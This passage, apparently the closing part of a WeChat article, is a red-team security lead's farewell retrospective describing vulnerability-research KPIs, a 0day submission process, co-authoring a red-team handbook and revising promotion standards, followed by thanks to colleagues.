4. 红队漏洞储备机制建设，设定XX实验室漏洞挖掘KPI，明确产出，并且提供到XX实验室漏洞平台，建立0day漏洞申请机制

三、影响力

对外：编写红队彩虹书增加公司对外影响力，2021年编写红队彩虹书成功发布、2022年年初负责牵头编写红队彩虹书，跟进修订、修改，最终成功上市发布 对内：任职资格标准修订，作为标准修订组长角色对2021年的任职资格标准重新修订，为红队方向发展人员提供晋升参考

这三年不仅具备了相对丰富的红队技术和业务经验，也尝试了一线的管理工作，往日与大家战斗的日子历历在目，在公司不知看过多少次日出，享受过红队那份荣耀、维护过红队那份骄傲，我的故事留在了这里，感恩那些包容过我的朋友、同事们，所有的离别都是为了更好的相遇……

阅读原文

跳转微信打开